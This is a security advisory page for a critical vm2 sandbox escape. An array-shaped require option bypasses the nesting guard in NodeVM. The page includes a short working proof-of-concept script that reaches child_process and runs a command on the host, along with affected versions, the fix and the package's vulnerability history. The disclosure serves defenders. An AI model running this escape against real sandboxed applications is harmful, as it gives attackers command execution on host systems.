Critical

vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE

  • Disclosed: 01.10.2026
  • Updated: 11.10.2026 10:22

Summary

The NodeVM constructor computes hasRealRequireConfig using typeof requireOpts === 'object' && requireOpts !== null, so require: [] bypasses the guard intended to reject nesting without an explicit require configuration. makeResolverFromLegacyOptions() then destructures the array to undefined option fields and returns a resolver containing only NESTING_OVERRIDE.vm2. Any attacker whose JavaScript is executed by a downstream NodeVM configured with {nesting: true, require: []} can load the host vm2 module, create an inner NodeVM with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in makeResolverFromLegacyOptions().

Array is converted into the vm2-only resolver: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226

Nesting loader returns the host VM constructors: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645

Proof of Concept

Preconditions:

  • The host creates NodeVM with truthy nesting and array-shaped require.
  • The attacker can supply JavaScript executed by that NodeVM.
js
'use strict';

const {NodeVM} = require('./index.js');

const outer = new NodeVM({nesting: true, require: []});
const result = outer.run(`
	const {NodeVM} = require('vm2');
	const inner = new NodeVM({require: {builtin: ['child_process']}});
	module.exports = inner.run(
		"module.exports = require('child_process').execSync('id').toString()"
	);
`);

console.log(result);
uid=1000(lohar) gid=1000(lohar) groups=1000(lohar)

The hasRealRequireConfig guard fails open because it returns true for arrays, although arrays are not VMRequire configuration objects. makeResolverFromLegacyOptions() applies object destructuring to the array, obtains undefined builtin and external values, merges NESTING_OVERRIDE, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner NodeVM, whose require configuration is selected inside the sandbox.

Failed shape check: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307

Impact

An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped require values and incorrectly identifies 3.11.4 as patched.

Exploitation is limited to downstream applications that enable nesting and pass the malformed array configuration.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package vm2 >= 3.11.4, < 3.11.7 3.11.7

References

CVSS score 9/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-913
Platform
npm
Package
vm2
Disclosed
01.10.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-8hr7-r645-pc6w - CC BY 4.0

Vulnerability history: vm2

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (78) in the archive
Total entries
78
First → latest
10.2021 10.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 51
  • High 14
  • Medium 12
  • Low 1

Disclosures per year

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Severity:
  1. Critical · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Critical · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Critical · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Critical · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Critical · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Critical · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE this entry
    Critical · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Critical · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Critical · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Critical · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Critical · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Critical · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. High · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Critical · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Critical · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  16. Critical · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  17. Critical · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  18. Critical · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  19. Critical · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  20. Critical · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
Show more (20) Showing 40 of 65

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.